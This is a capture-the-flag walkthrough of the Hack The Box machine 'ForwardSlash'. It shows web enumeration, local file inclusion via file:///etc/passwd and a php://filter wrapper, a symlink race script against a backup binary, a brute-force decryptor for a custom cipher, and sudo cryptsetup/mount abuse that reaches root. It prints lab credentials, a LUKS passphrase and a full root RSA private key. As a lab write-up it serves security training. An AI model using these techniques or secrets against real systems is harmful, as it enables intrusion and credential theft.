Quick Summary
→ A linux machine which vulnerable to LFI
or Directory Traversal
which the attacker can enumerate stuffs like file://etc/passwd
using php-wrapper
. With that method we can get the php-scripts
that contains credentials of chiv
and get in to machine with SSH
. In privilege escalation part I need to get the second user Pain
which need some cryptography
knowledge to get the passphrase to open his backups
file. In root part pain
is have sudo privilege to run cryptsetup
then I analyze the encrypter.py
codes and made a simple script which decrypt the cyphertext
then after executing I finally got the magic words for creating backups. from there I got the id_rsa
keys of root.
Penetration Testing Methodologies
Network Scanning
→ Nmap scan
→ discover open ports and what services are running
Enumeration
→ unning wfuzz
to enumerate potential web directories
→ Found login
and registration
page
→ Create an account and login
→ In profile view we have an option to change profile picture
Post - Exploitation
→ run wfuzz
to enumerate subdomains
→ run gobuster
to enumerate potential web directories and I found config.php
→ trying to upload any image and intercept the request
→ insert file:///etc/passwd
in url
parameter’ here we have local file inclusion
Exploitation
→ read config.php
via local file read
→ run dirsearch
to search another web parameters’ and I found dev
that has forbidden
→ with php-wrapper
we can access dev/index.php
converted to base64
code
→ decode and we can get php scripts
that has credentials in it
→ login to SSH
with user chiv
→ Privilege Escalation to get user pain
→ finally got the user.txt
Privilege Escalation
→ Analyze the encrypter python file
→ make a script to decrypt the cyphertext
→ run the backups as have sudo privileges
→ mount the folder to mapped images & get rsa keys
→ Finally got the root.txt
Network Scanning
Walkthrough
→ I always begin at NMAP to look on the services what is running. I always use
- -sV ⇒ Probe open ports to determine service/version info
- -sC ⇒ equivalent to —script=default
- -A- ⇒ Agressive scan
- -oN ⇒ to save our scan results to a text file
# bash
nmap -sV -sC -A 10.10.10.183 -oN nmap-ForwardSlash
|
# bash
root in htb/boxes/ForwardSlash ❯ nmap -sV -sC -A 10.10.10.183 -oN nmap-ForwardSlash Starting Nmap 7.80 ( https: Nmap scan report for 10.10.10.183 Host is up (0.20s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 3c:3b:eb:54:96:81:1d:da:d7:96:c7:0f:b4:7e:e1:cf (RSA) | 256 f6:b3:5f:a2:59:e3:1e:57:35:36:c3:fe:5e:3d:1f:66 (ECDSA) |_ 256 1b:de:b8:07:35:e8:18:2c:19:d8:cc:dd:77:9c:f2:5e (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Did not follow redirect to http: No exact OS matches for host (If you know what OS is running on it, see https: TCP/IP fingerprint: OS:SCAN(V=7.80%E=4%D=4/26%OT=22%CT=1%CU=31634%PV=Y%DS=2%DC=T%G=Y%TM=5EA4BD4 OS:2%P=x86_64-pc-linux-gnu)SEQ(SP=FE%GCD=1%ISR=110%TI=Z%CI=Z%II=I%TS=A)SEQ( OS:SP=FE%GCD=1%ISR=110%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3= OS:M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=FE88%W2=FE OS:88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7 OS:%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF= OS:Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=% OS:RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0 OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIP OS:CK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 110/tcp) HOP RTT ADDRESS 1 199.15 ms 10.10.14.1 2 197.28 ms 10.10.10.183
OS and Service detection performed. Please report any incorrect results at https: Nmap done: 1 IP address (1 host up) scanned in 62.66 seconds
root in htb/boxes/ForwardSlash took 1m2s ❯
|
Nmap results
So there’s only 2 port open.
- 22 ⇒ which is running a
SSH Client
- 80 ⇒ which basically a web service
Enumeration
ForwardSlash Web
Since there’s web service I always looking that first :
As you can see’ it seems that this website is hacked.
I run wfuzz
if i can get subdomains
so :
# bash
root in htb/boxes/ForwardSlash ❯ wfuzz --hh 0 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.forwardslash.htb' -u http:
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
******************************************************** * Wfuzz 2.4.5 - The Web Fuzzer * ********************************************************
Target: http: Total requests: 4997
=================================================================== ID Response Lines Word Chars Payload ===================================================================
000000055: 302 0 L 6 W 33 Ch "backup" 000000690: 400 12 L 53 W 422 Ch "gc._msdcs"
Total time: 151.6011 Processed Requests: 4997 Filtered Requests: 4995 Requests/sec.: 32.96148
root in htb/boxes/ForwardSlash took 2m32s ❯
|
so there is http://backup.forwardslash.htb
going on that it’s a register and login page .
and the sign up page
Create account
To test’ i created my account and I was able to change my profile picture’ one thing I can do with this is to upload an malicious image to gain reverse shell but it will not work on that .
So by uploading image I try to intercept the request and I found a potential vulnerabilities which is the url=
parameter.
I tried to input file:///etc/passwd
and I can get right response
Next i run gobuster
to get another parameters :
Post - Exploitation
Web Enumeration
# bash
root in htb/boxes/ForwardSlash ❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -u http:
=============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http: [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: php,asp,aspx,jpg,txt,html [+] Follow Redir: true [+] Timeout: 10s =============================================================== 2020/04/21 10:27:17 Starting gobuster =============================================================== /index.php (Status: 200) /login.php (Status: 200) /register.php (Status: 200) /welcome.php (Status: 200) /dev (Status: 403) /api.php (Status: 200) /environment.php (Status: 200) /logout.php (Status: 200) /config.php (Status: 200) /hof.php (Status: 200)
|
Exploitation
The hunt continuous
so there is /dev/
which 403 Status meaning it is forbidden or is not allowed & /config.php
directory.
I tried to read config.php
via local file inclusion and it returns web credentials.
Bypass 403
Next is the /dev
directory but we are not allowed to access so I search on google to bypass it and I found this on PayloadAllTheThings about php-wrapper
with that method we can convert it to base64
and decode it .
here is the full base64 code I got :
PD9waHAKLy9pbmNsdWRlX29uY2UgLi4vc2Vzc2lvbi5waHA7Ci8vIEluaXRpYWxpemUgdGhlIHNlc3Npb24Kc2Vzc2lvbl9zdGFydCgpOwoKaWYoKCFpc3NldCgkX1NFU1NJT05bImxvZ2dlZGluIl0pIHx8ICRfU0VTU0lPTlsibG9nZ2VkaW4iXSAhPT0gdHJ1ZSB8fCAkX1NFU1NJT05bJ3VzZXJuYW1lJ10gIT09ICJhZG1pbiIpICYmICRfU0VSVkVSWydSRU1PVEVfQUREUiddICE9PSAiMTI3LjAuMC4xIil7CiAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwMyBGb3JiaWRkZW4nKTsKICAgIGVjaG8gIjxoMT40MDMgQWNjZXNzIERlbmllZDwvaDE+IjsKICAgIGVjaG8gIjxoMz5BY2Nlc3MgRGVuaWVkIEZyb20gIiwgJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10sICI8L2gzPiI7CiAgICAvL2VjaG8gIjxoMj5SZWRpcmVjdGluZyB0byBsb2dpbiBpbiAzIHNlY29uZHM8L2gyPiIKICAgIC8vZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMzt1cmw9Li4vbG9naW4ucGhwIiAvPic7CiAgICAvL2hlYWRlcigibG9jYXRpb246IC4uL2xvZ2luLnBocCIpOwogICAgZXhpdDsKfQo/Pgo8aHRtbD4KCTxoMT5YTUwgQXBpIFRlc3Q8L2gxPgoJPGgzPlRoaXMgaXMgb3VyIGFwaSB0ZXN0IGZvciB3aGVuIG91ciBuZXcgd2Vic2l0ZSBnZXRzIHJlZnVyYmlzaGVkPC9oMz4KCTxmb3JtIGFjdGlvbj0iL2Rldi9pbmRleC5waHAiIG1ldGhvZD0iZ2V0IiBpZD0ieG1sdGVzdCI+CgkJPHRleHRhcmVhIG5hbWU9InhtbCIgZm9ybT0ieG1sdGVzdCIgcm93cz0iMjAiIGNvbHM9IjUwIj48YXBpPgogICAgPHJlcXVlc3Q+dGVzdDwvcmVxdWVzdD4KPC9hcGk+CjwvdGV4dGFyZWE+CgkJPGlucHV0IHR5cGU9InN1Ym1pdCI+Cgk8L2Zvcm0+Cgo8L2h0bWw+Cgo8IS0tIFRPRE86CkZpeCBGVFAgTG9naW4KLS0+Cgo8P3BocAppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICJHRVQiICYmIGlzc2V0KCRfR0VUWyd4bWwnXSkpIHsKCgkkcmVnID0gJy9mdHA6XC9cL1tcc1xTXSpcL1wiLyc7CgkvLyRyZWcgPSAnLygoKCgyNVswLTVdKXwoMlswLTRdXGQpfChbMDFdP1xkP1xkKSkpXC4pezN9KCgoKDI1WzAtNV0pfCgyWzAtNF1cZCl8KFswMV0/XGQ/XGQpKSkpLycKCglpZiAocHJlZ19tYXRjaCgkcmVnLCAkX0dFVFsneG1sJ10sICRtYXRjaCkpIHsKCQkkaXAgPSBleHBsb2RlKCcvJywgJG1hdGNoWzBdKVsyXTsKCQllY2hvICRpcDsKCQllcnJvcl9sb2coIkNvbm5lY3RpbmciKTsKCgkJJGNvbm5faWQgPSBmdHBfY29ubmVjdCgkaXApIG9yIGRpZSgiQ291bGRuJ3QgY29ubmVjdCB0byAkaXBcbiIpOwoKCQllcnJvcl9sb2coIkxvZ2dpbmcgaW4iKTsKCgkJaWYgKEBmdHBfbG9naW4oJGNvbm5faWQsICJjaGl2IiwgJ04wYm9keUwxa2VzQmFjay8nKSkgewoKCQkJZXJyb3JfbG9nKCJHZXR0aW5nIGZpbGUiKTsKCQkJZWNobyBmdHBfZ2V0X3N0cmluZygkY29ubl9pZCwgImRlYnVnLnR4dCIpOwoJCX0KCgkJZXhpdDsKCX0KCglsaWJ4bWxfZGlzYWJsZV9lbnRpdHlfbG9hZGVyIChmYWxzZSk7CgkkeG1sZmlsZSA9ICRfR0VUWyJ4bWwiXTsKCSRkb20gPSBuZXcgRE9NRG9jdW1lbnQoKTsKCSRkb20tPmxvYWRYTUwoJHhtbGZpbGUsIExJQlhNTF9OT0VOVCB8IExJQlhNTF9EVERMT0FEKTsKCSRhcGkgPSBzaW1wbGV4bWxfaW1wb3J0X2RvbSgkZG9tKTsKCSRyZXEgPSAkYXBpLT5yZXF1ZXN0OwoJZWNobyAiLS0tLS1vdXRwdXQtLS0tLTxicj5cclxuIjsKCWVjaG8gIiRyZXEiOwp9CgpmdW5jdGlvbiBmdHBfZ2V0X3N0cmluZygkZnRwLCAkZmlsZW5hbWUpIHsKICAgICR0ZW1wID0gZm9wZW4oJ3BocDovL3RlbXAnLCAncisnKTsKICAgIGlmIChAZnRwX2ZnZXQoJGZ0cCwgJHRlbXAsICRmaWxlbmFtZSwgRlRQX0JJTkFSWSwgMCkpIHsKICAgICAgICByZXdpbmQoJHRlbXApOwogICAgICAgIHJldHVybiBzdHJlYW1fZ2V0X2NvbnRlbnRzKCR0ZW1wKTsKICAgIH0KICAgIGVsc2UgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KfQoKPz4K
|
decode it and I got a php script :
<?php
session_start();
if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") && $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){ header('HTTP/1.0 403 Forbidden'); echo "<h1>403 Access Denied</h1>"; echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>"; exit; } ?> <html> <h1>XML Api Test</h1> <h3>This is our api test for when our new website gets refurbished</h3> <form action="/dev/index.php" method="get" id="xmltest"> <textarea name="xml" form="xmltest" rows="20" cols="50"><api> <request>test</request> </api> </textarea> <input type="submit"> </form>
</html>
<!-- TODO: Fix FTP Login -->
<?php if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) {
$reg = '/ftp:\/\/[\s\S]*\/\"/';
if (preg_match($reg, $_GET['xml'], $match)) { $ip = explode('/', $match[0])[2]; echo $ip; error_log("Connecting");
$conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n");
error_log("Logging in");
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {
error_log("Getting file"); echo ftp_get_string($conn_id, "debug.txt"); }
exit; }
libxml_disable_entity_loader (false); $xmlfile = $_GET["xml"]; $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $api = simplexml_import_dom($dom); $req = $api->request; echo "-----output-----<br>\r\n"; echo "$req"; }
function ftp_get_string($ftp, $filename) { $temp = fopen('php://temp', 'r+'); if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) { rewind($temp); return stream_get_contents($temp); } else { return false; } }
?>
|
look the most interesting code line is it’s have credentials :
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {
error_log("Getting file"); echo ftp_get_string($conn_id, "debug.txt"); }
|
so the possible userame and password that we can use for SSH
is username: chiv
& password: N0bodyL1kesBack/
base on the code it use for ftp service but in our nmap scan
we don’t have any ftp services so I tried to use it in SSH
Login via SSH
root in htb/boxes/ForwardSlash took 33s ❯ ssh chiv@10.10.10.183 The authenticity of host '10.10.10.183 (10.10.10.183)' can't be established. ECDSA key fingerprint is SHA256:7DrtoyB3GmTDLmPm01m7dHeoaPjA7+ixb3GDFhGn0HM. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.183' (ECDSA) to the list of known hosts. chiv@10.10.10.183's password: Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
* Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage
System information as of Sun Apr 26 19:47:37 UTC 2020
System load: 0.09 Processes: 216 Usage of /: 32.3% of 19.56GB Users logged in: 1 Memory usage: 28% IP address for ens33: 10.10.10.183 Swap usage: 0%
* Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch
16 packages can be updated. 0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Apr 26 19:42:41 2020 from 10.10.15.230 chiv@forwardslash:~$ whoami chiv chiv@forwardslash:~$ hostname forwardslash chiv@forwardslash:~$
|
Privilege Escalation to Pain
Get user PAIN
inside Chiv
directory there’s a note.txt
chiv@forwardslash:~$ ls e223993ccd8840f3f3d72324d61219e6 exticute note.txt chiv@forwardslash:~$ cat note.txt the executable file 'backup' already exists. on /usr/bin. To read a file with the executable, my solution was to create a symlink to the file you want to read. the executable 'backup' will read it if its name is correct. Find a way to get it named right chiv@forwardslash:~$
|
it tells about the backup
file, so I make a way to get pain
I use LinEnum.sh
chiv@forwardslash:/tmp$ wget http://10.10.14.4/LinEnum.sh --2020-04-26 19:52:39-- http://10.10.14.4/LinEnum.sh Connecting to 10.10.14.4:80... connected. HTTP request sent, awaiting response... 200 OK Length: 46631 (46K) [text/x-sh] Saving to: ‘LinEnum.sh’
LinEnum.sh 100%[===================================================================================================>] 45.54K 75.0KB/s in 0.6s
2020-04-26 19:52:40 (75.0 KB/s) - ‘LinEnum.sh’ saved [46631/46631]
chiv@forwardslash:/tmp$ bash LinEnum.sh
[-] Debug Info [+] Thorough tests = Disabled
Scan started at: Sun Apr 26 19:52:46 UTC 2020
[-] Kernel information: Linux forwardslash 4.15.0-91-generic
[-] Kernel information (continued): Linux version 4.15.0-91-generic (buildd@lgw01-amd64-013) (gcc version 7.4.0 (Ubuntu 7.4.0-1ubuntu1~18.04.1))
[-] Specific release information: DISTRIB_ID=Ubuntu DISTRIB_RELEASE=18.04 DISTRIB_CODENAME=bionic DISTRIB_DESCRIPTION="Ubuntu 18.04.4 LTS" NAME="Ubuntu" VERSION="18.04.4 LTS (Bionic Beaver)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 18.04.4 LTS" VERSION_ID="18.04" HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" VERSION_CODENAME=bionic UBUNTU_CODENAME=bionic
[-] Hostname: forwardslash
[-] Current user/group info: uid=1001(chiv) gid=1001(chiv) groups=1001(chiv)
[-] Users that have previously logged onto the system: Username Port From Latest root pts/4 10.10.14.66 Sun Apr 26 19:33:04 +0000 2020 pain pts/4 10.10.14.66 Sun Apr 26 19:26:11 +0000 2020 chiv pts/6 10.10.14.4 Sun Apr 26 19:47:38 +0000 2020
[-] Location and Permissions (if accessible) of .bak file(s): -rw------- 1 root root 730 Mar 17 20:13 /var/backups/group.bak -rw------- 1 root shadow 604 Mar 17 20:13 /var/backups/gshadow.bak -rw------- 1 root shadow 1174 Mar 6 14:21 /var/backups/shadow.bak -rw------- 1 root root 1660 Mar 5 14:46 /var/backups/passwd.bak -rw------- 1 pain pain 526 Jun 21 2019 /var/backups/config.php.bak
|
here you can see the backups owned by pain
going on that directory
chiv@forwardslash:/var/backups$ ls alternatives.tar.0 apt.extended_states.1.gz config.php.bak dpkg.statoverride.0 group.bak note.txt recovery apt.extended_states.0 apt.extended_states.2.gz dpkg.diversions.0 dpkg.status.0 gshadow.bak passwd.bak shadow.bak chiv@forwardslash:/var/backups$
|
there’s another note.txt
chiv@forwardslash:/var/backups$ cat note.txt Chiv, this is the backup of the old config, the one with the password we need to actually keep safe. Please DO NOT TOUCH.
-Pain chiv@forwardslash:/var/backups$
|
So the backups
may contains the password of our target, to automate the attack I create a simple bash script to get make backups and get the md5sum of that timestamp and get that link and try backup again .
i=$(backup | grep ERROR | awk '{print $2}'); ln -s /var/backups/config.php.bak ./$i; backup;
|
running this :
# bash
chiv@forwardslash:/var/backups$ bash /tmp/exploit.sh ln: failed to create symbolic link './cdaf08a855c7502448ac0a89501be28c': Permission denied ---------------------------------------------------------------------- Pain's Next-Gen Time Based Backup Viewer v0.1 NOTE: not reading the right file yet, only works if backup is taken in same second ----------------------------------------------------------------------
Current Time: 20:23:39 ERROR: cdaf08a855c7502448ac0a89501be28c Does Not Exist or Is Not Accessible By Me, Exiting... chiv@forwardslash:/var/backups$
|
At first it failed, I tried to run it again and finally :
# bash
chiv@forwardslash:~$ bash /tmp/exploit.sh 90c0700e7f02944c879196b194727e7b ---------------------------------------------------------------------- Pain's Next-Gen Time Based Backup Viewer v0.1 NOTE: not reading the right file yet, only works if backup is taken in same second ----------------------------------------------------------------------
Current Time: 20:49:34 <?php
define('DB_SERVER', 'localhost'); define('DB_USERNAME', 'pain'); define('DB_PASSWORD', 'db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704'); define('DB_NAME', 'site');
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
if($link === false){ die("ERROR: Could not connect. " . mysqli_connect_error()); } ?> chiv@forwardslash:~$
|
Get user.txt
Now that i have the password of pain we can now get the user.txt
flag :
# bash
chiv@forwardslash:~$ su pain Password: pain@forwardslash:/home/chiv$ cd .. pain@forwardslash:/home$ ls chiv pain pain@forwardslash:/home$ cd pain pain@forwardslash:~$ ls encryptorinator note.txt user.txt pain@forwardslash:~$ cut -c 4-12 user.txt 228bcc4e7 pain@forwardslash:~$
|
Privilege Escalation
Cryptography
Inside pain’s directory there’s another notes
by chiv
# bash
pain@forwardslash:~$ ls encryptorinator note.txt user.txt pain@forwardslash:~$ cat note.txt Pain, even though they got into our server, I made sure to encrypt any important files and then did some crypto magic on the key... I gave you the key in person the other day, so unless these hackers are some crypto experts we should be good to go.
-chiv pain@forwardslash:~$
|
I notice that pain
can run below the following commands that have sudo privileges
without password
# bash
pain@forwardslash:~$ sudo -l Matching Defaults entries for pain on forwardslash: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pain may run the following commands on forwardslash: (root) NOPASSWD: /sbin/cryptsetup luksOpen * (root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/ (root) NOPASSWD: /bin/umount ./mnt/
|
let’s take a look at cyphertext
file & and encrypter.py
inside pain’s folder :
Cyphertext
Ë×£›”,Lö >¼2XÕ¢Š |Š? IÇ)ñEƒ-—Ë’\/;ÃDzyÆ[w#M’÷2ÊÑ~çY@'¶ç¼˜Š…æ³£,ˆëÛôP™º@5†Àf$ù\*r¢wFº’3¸gïX¿}Éi6ð´‹ô~ßK‹©YðÅŽ¥‘ÿ'%¿eà>à®xÝoä+gÜ/±K¬>ÿ^ÝËV¥÷âN°kŠ¿e
|
Encrypter
def encrypt(key, msg): key = list(key) msg = list(msg) for char_key in key: for i in range(len(msg)): if i == 0: tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1]) else: tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])
while tmp > 255: tmp -= 256 msg[i] = chr(tmp) return ''.join(msg)
def decrypt(key, msg): key = list(key) msg = list(msg) for char_key in reversed(key): for i in reversed(range(len(msg))): if i == 0: tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1])) else: tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1])) while tmp < 0: tmp += 256 msg[i] = chr(tmp) return ''.join(msg)
print encrypt('REDACTED', 'REDACTED') print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED'))
|
Decrypt
by analyzing this code’ the function applies each character of the key as a mask sequentially for each character of the message. So I created a python script to reverse engineer the code to decrypt the cyphertext
from Crypto import Random from Crypto.Cipher import AES
def decrypt(key, msg): key = list(key) msg = list(msg) for char_key in reversed(key): for i in reversed(range(len(msg))): if i == 0: tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1])) else: tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1])) while tmp < 0: tmp += 256 msg[i] = chr(tmp) return ''.join(msg)
ciphertext = open('ciphertext', 'r').read().rstrip() for i in range(1, 165): for j in range(33, 127): key = chr(j) * i msg = decrypt(key, ciphertext) if 'the ' in msg or 'be ' in msg or 'and ' in msg or 'of ' in msg : exit("Key: {0}, Key length: {1}, Msg: {2}".format(key, len(key), msg))
|
From my Kali I transfer it to target machine and execute :
pain@forwardslash:~/encryptorinator$ wget http://10.10.14.114/decrypt.py --2020-04-29 00:05:55-- http://10.10.14.114/decrypt.py Connecting to 10.10.14.114:80... connected. HTTP request sent, awaiting response... 200 OK Length: 833 [text/plain] Saving to: ‘decrypt.py’
decrypt.py 100%[===================================================================================================>] 833 --.-KB/s in 0s
2020-04-29 00:05:55 (95.1 MB/s) - ‘decrypt.py’ saved [833/833]
pain@forwardslash:~/encryptorinator$
|
it takes only a second to get the magic word cB!6%sdH8Lj^@Y*$C2cf
:
# bash
pain@forwardslash:~/encryptorinator$ chmod +x decrypt.py pain@forwardslash:~/encryptorinator$ ./decrypt.py Key: ttttttttttttttttt, Key length: 17, Msg: Hl��vF��;�������&you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf pain@forwardslash:~/encryptorinator$
|
Next is to go /backup
folder which allowed to run sudo privileges :
# bash
pain@forwardslash:~$ cd /var/ pain@forwardslash:/var$ ls backups cache crash lib local lock log mail opt run snap spool tmp www pain@forwardslash:/var$ cd backups pain@forwardslash:/var/backups$ ls alternatives.tar.0 apt.extended_states.1.gz config.php.bak dpkg.statoverride.0 group.bak note.txt recovery apt.extended_states.0 apt.extended_states.2.gz dpkg.diversions.0 dpkg.status.0 gshadow.bak passwd.bak shadow.bak pain@forwardslash:/var/backups$ cd recovery pain@forwardslash:/var/backups/recovery$ ls encrypted_backup.img pain@forwardslash:/var/backups/recovery$ ls -la total 976576 drwxrwx--- 2 root backupoperator 4096 May 27 2019 . drwxr-xr-x 3 root root 4096 Mar 24 10:10 .. -rw-r----- 1 root backupoperator 1000000000 Apr 28 23:58 encrypted_backup.img pain@forwardslash:/var/backups/recovery$
|
Now it’s time to execute it and insert the passphrase cB!6%sdH8Lj^@Y*$C2cf
:
# bash
pain@forwardslash:/var/backups/recovery$ sudo /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img backup Enter passphrase for /var/backups/recovery/encrypted_backup.img: pain@forwardslash:/var/backups/recovery$ ls encrypted_backup.img pain@forwardslash:/var/backups/recovery$
|
Now we need to head towards /dev/mapper
To check for mapped images :
# bash
pain@forwardslash:~$ sudo /bin/mount /dev/mapper/backup ./mnt/ pain@forwardslash:~$ ls encryptorinator mnt note.txt user.txt pain@forwardslash:~$ cd mnt pain@forwardslash:~/mnt$ ls id_rsa pain@forwardslash:~/mnt$
|
inside ./mnt
folder there’s id_rsa
-----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEA9i/r8VGof1vpIV6rhNE9hZfBDd3u6S16uNYqLn+xFgZEQBZK RKh+WDykv/gukvUSauxWJndPq3F1Ck0xbcGQu6+1OBYb+fQ0B8raCRjwtwYF4gaf yLFcOS111mKmUIB9qR1wDsmKRbtWPPPvgs2ruafgeiHujIEkiUUk9f3WTNqUsPQc u2AG//ZCiqKWcWn0CcC2EhWsRQhLOvh3pGfv4gg0Gg/VNNiMPjDAYnr4iVg4XyEu NWS2x9PtPasWsWRPLMEPtzLhJOnHE3iVJuTnFFhp2T6CtmZui4TJH3pij6wYYis9 MqzTmFwNzzx2HKS2tE2ty2c1CcW+F3GS/rn0EQIDAQABAoIBAQCPfjkg7D6xFSpa V+rTPH6GeoB9C6mwYeDREYt+lNDsDHUFgbiCMk+KMLa6afcDkzLL/brtKsfWHwhg G8Q+u/8XVn/jFAf0deFJ1XOmr9HGbA1LxB6oBLDDZvrzHYbhDzOvOchR5ijhIiNO 3cPx0t1QFkiiB1sarD9Wf2Xet7iMDArJI94G7yfnfUegtC5y38liJdb2TBXwvIZC vROXZiQdmWCPEmwuE0aDj4HqmJvnIx9P4EAcTWuY0LdUU3zZcFgYlXiYT0xg2N1p MIrAjjhgrQ3A2kXyxh9pzxsFlvIaSfxAvsL8LQy2Osl+i80WaORykmyFy5rmNLQD Ih0cizb9AoGBAP2+PD2nV8y20kF6U0+JlwMG7WbV/rDF6+kVn0M2sfQKiAIUK3Wn 5YCeGARrMdZr4fidTN7koke02M4enSHEdZRTW2jRXlKfYHqSoVzLggnKVU/eghQs V4gv6+cc787HojtuU7Ee66eWj0VSr0PXjFInzdSdmnd93oDZPzwF8QUnAoGBAPhg e1VaHG89E4YWNxbfr739t5qPuizPJY7fIBOv9Z0G+P5KCtHJA5uxpELrF3hQjJU8 6Orz/0C+TxmlTGVOvkQWij4GC9rcOMaP03zXamQTSGNROM+S1I9UUoQBrwe2nQeh i2B/AlO4PrOHJtfSXIzsedmDNLoMqO5/n/xAqLAHAoGATnv8CBntt11JFYWvpSdq tT38SlWgjK77dEIC2/hb/J8RSItSkfbXrvu3dA5wAOGnqI2HDF5tr35JnR+s/JfW woUx/e7cnPO9FMyr6pbr5vlVf/nUBEde37nq3rZ9mlj3XiiW7G8i9thEAm471eEi /vpe2QfSkmk1XGdV/svbq/sCgYAZ6FZ1DLUylThYIDEW3bZDJxfjs2JEEkdko7mA 1DXWb0fBno+KWmFZ+CmeIU+NaTmAx520BEd3xWIS1r8lQhVunLtGxPKvnZD+hToW J5IdZjWCxpIadMJfQPhqdJKBR3cRuLQFGLpxaSKBL3PJx1OID5KWMa1qSq/EUOOr OENgOQKBgD/mYgPSmbqpNZI0/B+6ua9kQJAH6JS44v+yFkHfNTW0M7UIjU7wkGQw ddMNjhpwVZ3//G6UhWSojUScQTERANt8R+J6dR0YfPzHnsDIoRc7IABQmxxygXDo ZoYDzlPAlwJmoPQXauRl1CgjlyHrVUTfS0AkQH2ZbqvK5/Metq8o -----END RSA PRIVATE KEY-----
|
Get the root flag
Finally got now the root.txt
# bash
root in htb/boxes/ForwardSlash via 🐍 v3.8.2 ❯ ssh -i id_rsa root@10.10.10.183 Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
* Documentation: https: * Management: https: * Support: https:
System information as of Wed Apr 29 00:32:02 UTC 2020
System load: 0.0 Processes: 203 Usage of /: 30.8% of 19.56GB Users logged in: 2 Memory usage: 12% IP address for ens33: 10.10.10.183 Swap usage: 0%
* Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https:
16 packages can be updated. 0 updates are security updates.
Failed to connect to https:
Last login: Wed Apr 29 00:31:34 2020 from 10.10.14.114 root@forwardslash:~# whoami root root@forwardslash:~# hostname forwardslash root@forwardslash:~# ls root.txt root@forwardslash:~# cut -c 1-12 root.txt 76aec6f7af6b root@forwardslash:~# exit logout Connection to 10.10.10.183 closed.
|
If you liked my writeup please leave a respect on my Profile
Referrences:
PayloadAllTheThings - PHP Wrapper